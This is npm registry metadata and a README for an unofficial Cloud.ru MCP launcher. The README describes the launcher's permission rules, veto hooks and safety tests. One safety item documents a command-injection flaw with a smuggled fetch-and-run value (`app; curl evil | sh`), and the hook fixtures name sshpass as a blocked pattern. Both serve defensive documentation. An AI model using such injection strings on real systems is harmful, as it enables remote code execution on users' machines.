degraded."},"maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"_nodeVersion":"22.22.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/cloudru-hub_0.1.12_1789292408896_0.9512758826376582"}}},"time":{"created":"2026-08-12T14:46:24.638Z","modified":"2026-09-13T09:40:09.142Z","0.1.4":"2026-08-12T14:46:24.975Z","0.1.5":"2026-08-20T16:47:57.777Z","0.1.6":"2026-08-20T16:55:32.370Z","0.1.7":"2026-08-25T04:38:17.663Z","0.1.8":"2026-08-28T19:11:06.464Z","0.1.9":"2026-08-28T19:17:34.083Z","0.1.10":"2026-08-29T11:39:22.010Z","0.1.11":"2026-08-29T17:44:43.856Z","0.1.12":"2026-09-13T09:40:08.984Z"},"bugs":{"url":"https://github.com/djd1m/dz-harness/issues"},"author":{"name":"dzhechko"},"license":"MIT","homepage":"https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub#readme","keywords":["cloudru","cloud-ru","evolution","mcp","claude","claude-code","deploy","vps","unofficial"],"repository":{"url":"git+https://github.com/djd1m/dz-harness.git","type":"git","directory":"packages/@dzhechkov/cloudru-hub"},"description":"Unofficial Cloud.ru Evolution launcher for Claude Code and harness-cli targets: thin JS launcher for the cloudru-vm MCP engine (144 tools), per-target installers with a deterministic paid-step brake (permission ask/deny + PreToolUse veto hooks), and skill","maintainers":[{"name":"dzhechkov","email":"jechkov.dmitriy@gmail.com"}],"readme":"# @dzhechkov/cloudru-hub\n\n> **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**\n> [Тимур](https://shkrbkv.ru/about/), the author of the Hermes engine additions, approved publication (owner-reported\n> 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE\n> Part 2; archiving the author's written confirmation is a recorded owner follow-up).\n> The `dz guard` `licence-hold` rule stays armed and keeps verifying\n> LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the\n> trigger in place.\n\n> **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** \"Cloud.ru\" is a\n> trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API\n> through the `cloudru-vm` engine.\n\nThin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **144 tools**\n(MEASURED — live `tools/list` probe, `data/tools-list-snapshot.json`) for Cloud.ru\nEvolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a\ndocker-compose deploy wizard.\n\n## Attribution\n\n- **CLI foundation and everything in this package** (launcher, adapters, installer,\n  tests): **Dmitry Zhechkov** (MIT — LICENSE Part 1). Per ADR-001 AM-1 the original Go\n  CLI on which the engine builds is the owner's work; the Hermes engine is a derivative\n  of it.\n- **Hermes engine additions** (the ~144-tool MCP layer): **[Тимур](https://shkrbkv.ru/about/)**, the Hermes author.\n  **Zero bytes of those additions ship in this package** — no binary, no Go sources, no\n  skill corpus. Publication of this package was approved by the author (grant recorded\n  2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no\n  licence text for the engine additions themselves; nothing here grants third parties\n  rights to them.\n\n## What ships here (our code only — ADR-002)\n\n| Piece | Where | What it does |\n|---|---|---|\n| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (exists only post-grant); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |\n| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (65 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 77 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |\n| Target tiering (ADR-005) | `src/install.js` | claude-code = full install; codex = plan-only (delivery requires an executed veto probe); openclaude/opencode/cursor/windsurf/copilot = **refused** (DEGRADED until live probe); agents-md/gemini = pointer-only ≤2048 chars with a mandatory no-veto warning |\n| Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |\n| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the tool's engine handler (read-only proven at the pinned baseline, engine file:line cited per entry — schema shape alone is never sufficient: the `confirmed`-prop heuristic mis-filed `stack_status`, which advances jobs and invokes paid create tools); a live tool unknown to it is a drift finding (deny-by-default) |\n\n## Usage\n\n```bash\ncloudru-hub resolve                 # where is the engine, which sha256, is it the pinned baseline\ncloudru-hub self-test               # resolve → sha256 → engine version → live tools/list → coverage\ncloudru-hub mcp                     # run the engine as an MCP stdio server (what .mcp.json points at)\ncloudru-hub install --target claude-code   # emit .mcp.json + permission brake + veto hook, PROBE the veto\ncloudru-hub install --target agents-md     # pointer-only section (no tools, no fake support)\ncloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out\n```\n\n## Local testing (works now, no publish)\n\n```bash\nexport CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm   # e.g. the pinned 0.2.3-20260718 baseline\nnode bin/cloudru-hub.js self-test\n```\n\nExpected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against\nthe pinned baseline `59f83fc0…c05124`, engine version, 144 live tools, full\nclassification coverage). Full walkthrough incl. `npm link` and MCP registration:\n[`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).\n\n## Safety properties (all layer-1, discrimination-proven)\n\nEvery named property has a mutation-gate entry (`test/mutation-registry.json`, run\n`dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection\nand requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08-12):\n\n1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field\n   deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps\n   verifying LICENSE (grant record + `Grant-Confirmation:` URL, no PENDING placeholder),\n   THIRD_PARTY_NOTICES and the SPDX field on every publish; pack tests additionally pin\n   the honest grant wording (owner-attested, no fabricated grant deed), the SPDX-matches-\n   LICENSE invariant (ADR-001 Confirmation) and the publishable state.\n2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the\n   `npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.\n3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,\n   keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to\n   report success unless the executed probe blocks.\n4. **`stack_status` stays ask** (ADR-004 AM-1) — it ADVANCES planned/running stack jobs\n   server-side, invoking the paid create tools (`tools_stack.go:479` → `advance` →\n   `s.callTool` `:220`; LIVE-REPRODUCED: one call moved a planned job to `running` and\n   attempted `provision`). Flipping it back to allow re-opens the zero-prompt paid chain\n   `stack_plan→stack_status` and goes RED.\n5. **`logs` stays ask** (ADR-004 AM-2) — it concatenates its user-controlled `service`\n   arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →\n   `engine/logs.go:61` `cmd += \" \" + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`\n   `internal/deploy/ssh.go:117`), so `service=\"app; curl evil | sh\"` is arbitrary RCE on the\n   user's VM. Flipping it back to allow puts that command-injection path behind a silent\n   allow and goes RED. (Engine injection flagged to the author — the classifier can only\n   prompt, it cannot escape the arg.)\n6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive\n   case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist\n   alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate\n   covers the full engine identity — `hermes`, `dzhechko` (go-module owner), `cloudru-vm-cli`,\n   `captainkeys` — with word-boundary matching so the published scope `@dzhechkov` is not\n   over-blocked.\n7. **The engine binary-name leak forms are scrubbed, not codename-gated** (since 0.1.3) — the\n   bare token `cloudru-vm` is ALSO the legitimate MCP server name that must appear in\n   output (`\\bcloudru-vm\\b` over-blocks the compiler's own injected prose `сервера\n   cloudru-vm видны` — PROVEN), so instead the two unambiguous leak FORMS get targeted\n   replacements in every target: dotted path `.cloudru-vm` → `.cloudru-hub`, and CLI\n   invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's real cobra\n   command set only (`deploy|status|logs|destroy|verify|init|version|list-zones|\n   list-images|mcp|doctor`, cited from the baseline `cmd/cloudru-vm/main.go`). Disarming\n   either scrub goes RED (`dialect-binary-path-leak-scrubbed`,\n   `dialect-binary-invocation-leak-scrubbed`).\n\n## Post-grant publish checklist (executed 2026-08-12)\n\n1. ✅ Grant recorded (ADR-001 AM-2, exit 2): LICENSE Part 2 placeholder replaced with the\n   owner-attested grant record + `Grant-Confirmation:` link, `\"license\": \"MIT\"` (owner\n   code only), `private` removed, `licenseHold` trigger deliberately KEPT armed.\n   Open owner follow-up: archive the author's written confirmation in the grant record.\n2. ✅ `dz guard check --op publish` passes (the licence-hold rule verifies all of it).\n3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying\n   channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal\n   `cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in\n   THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is\n   supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).\n4. ✅ Published via the repo's standard release flow.\n\n## Tests\n\n`npm test` — 70 tests, 70 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-08-12;\nnode:test, zero deps). Suite includes the tarball-content gate,\nthe post-grant licence gates, the brake acid tests, installer tiering, and dialect\ncompilation.\n","readmeFilename":"README.md"}